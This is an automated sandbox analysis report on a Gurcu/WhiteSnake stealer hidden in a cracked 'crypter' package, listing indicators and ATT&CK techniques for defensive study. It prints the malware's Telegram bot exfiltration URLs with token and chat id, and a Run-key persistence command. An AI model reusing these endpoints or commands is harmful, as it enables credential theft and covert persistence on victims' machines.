gurcu | 4918d0136cfa5fd6b2cdca204444d7676d9f86b8fba1491b9e996a06f4192eac

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
01/09/2024, 14:03

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General

Target
Vedani-Crypter-Lifetime-Activated-vedani-crypter/Vedani-Crypter/libs/obsfucation.exe
Size 5.6MB
Sample240901-rc198asern
SHA256 c9a0aea64ee81d3914980c968f2da7e45b17d008e81576b25fbc3c8415d1d899
MD5 612173309c257f2385cdc05c2f8f4ecc
SHA1 e27c24d9a54df063a2cc22e687c9e5f08e0181cb
SHA512 79dad7c537b6573da25627c9379a562db337040c1f845e7cdb5cebe27c232f27476e2ab356353c571b617723aac61c869ebc1758615b32cad87fbfac1deb9d8b
SSDEEP 98304:52Zl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Uc:5fOuK6mn9NzgMoYkSIvUcwti7TQlvciE
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

gurcu credential_access discovery persistence spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendDocument?chat_id=2024893777&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0%20kb
https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendMessage?chat_id=2024893777
https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/getUpdates?offset=-
https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendDocument?chat_id=2024893777&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	obsfucation.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	Update.exe

Executes dropped EXE 1 IoCs

pid	Process
3448	Update.exe

Loads dropped DLL 2 IoCs

pid	Process
4744	obsfucation.exe
3448	Update.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLogs\\Update.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
10	raw.githubusercontent.com
30	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
4388	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Update.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2728	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3868	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
4744	obsfucation.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe
3448	Update.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4744	obsfucation.exe
Token: SeDebugPrivilege	4388	tasklist.exe
Token: SeDebugPrivilege	3448	Update.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3448	Update.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4744 wrote to memory of 2760	4744	obsfucation.exe	91
PID 4744 wrote to memory of 2760	4744	obsfucation.exe	91
PID 2760 wrote to memory of 4388	2760	cmd.exe	93
PID 2760 wrote to memory of 4388	2760	cmd.exe	93
PID 2760 wrote to memory of 3540	2760	cmd.exe	94
PID 2760 wrote to memory of 3540	2760	cmd.exe	94
PID 2760 wrote to memory of 2728	2760	cmd.exe	95
PID 2760 wrote to memory of 2728	2760	cmd.exe	95
PID 2760 wrote to memory of 3448	2760	cmd.exe	96
PID 2760 wrote to memory of 3448	2760	cmd.exe	96
PID 3448 wrote to memory of 2840	3448	Update.exe	100
PID 3448 wrote to memory of 2840	3448	Update.exe	100
PID 2840 wrote to memory of 3868	2840	cmd.exe	102
PID 2840 wrote to memory of 3868	2840	cmd.exe	102

C:\Users\Admin\AppData\Local\Temp\Vedani-Crypter-Lifetime-Activated-vedani-crypter\Vedani-Crypter\libs\obsfucation.exe
"C:\Users\Admin\AppData\Local\Temp\Vedani-Crypter-Lifetime-Activated-vedani-crypter\Vedani-Crypter\libs\obsfucation.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp974E.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp974E.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 4744"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4388
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:3540
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2728
- - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\Update.exe
    "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\Update.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3448
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdater /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\Update.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2840
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdater /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\Update.exe /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

sqlite.interop.dll

Path C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll
Size 1.7MB
SHA256 aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4
MD5 65ccd6ecb99899083d43f7c24eb8f869
SHA1 27037a9470cc5ed177c0b6688495f3a51996a023
SHA512 533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d
SSDEEP 49152:c9EeNSPwEW3cFSI4Tfm3hvbHsjAJcAMkP3:c9Nzm31PMo3
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp974E.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp974E.tmp.bat
Size 281B
SHA256 127078618b4a0a6acf9d7546c98b92df9b77aaa9eed75307b6e76aa55c4adb58
MD5 372243103ef41f4e2b9647cc0ce44d3d
SHA1 7199f10552b9f94f42313275d527adeb2eeddd38
SHA512 c12aedb3ef05506e1867120809131014241c033c89f2c4d0c5131d5b8f3b764a54504c439df90c1c2380768a967c0e2d713d584ac271b3789e29807fafc5b458
MD5 SHA1 SHA512

Submit Download

Update.exe

Path C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\Update.exe
Size 5.6MB
SHA256 c9a0aea64ee81d3914980c968f2da7e45b17d008e81576b25fbc3c8415d1d899
MD5 612173309c257f2385cdc05c2f8f4ecc
SHA1 e27c24d9a54df063a2cc22e687c9e5f08e0181cb
SHA512 79dad7c537b6573da25627c9379a562db337040c1f845e7cdb5cebe27c232f27476e2ab356353c571b617723aac61c869ebc1758615b32cad87fbfac1deb9d8b
SSDEEP 98304:52Zl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Uc:5fOuK6mn9NzgMoYkSIvUcwti7TQlvciE
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/3448-23-0x00000280720B0000-0x0000028072100000-memory.dmp

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memory/3448-24-0x0000028072100000-0x0000028072122000-memory.dmp

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memory/3448-45-0x0000028072190000-0x00000280721A2000-memory.dmp

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memory/3448-27-0x0000028072060000-0x0000028072086000-memory.dmp

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memory/3448-26-0x0000028072130000-0x000002807216A000-memory.dmp

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memory/3448-22-0x0000028071FB0000-0x0000028072062000-memory.dmp

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memory/3448-19-0x0000028071EC0000-0x0000028071ECA000-memory.dmp

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memory/3448-20-0x0000028071F40000-0x0000028071FAA000-memory.dmp

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memory/4744-1-0x0000025F57160000-0x0000025F57702000-memory.dmp

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memory/4744-0-0x00007FFE22023000-0x00007FFE22025000-memory.dmp

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memory/4744-7-0x00007FFE22020000-0x00007FFE22AE1000-memory.dmp

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memory/4744-6-0x0000025F71B60000-0x0000025F71BD6000-memory.dmp

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memory/4744-12-0x00007FFE22020000-0x00007FFE22AE1000-memory.dmp

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memory/4744-8-0x0000025F71B00000-0x0000025F71B1E000-memory.dmp

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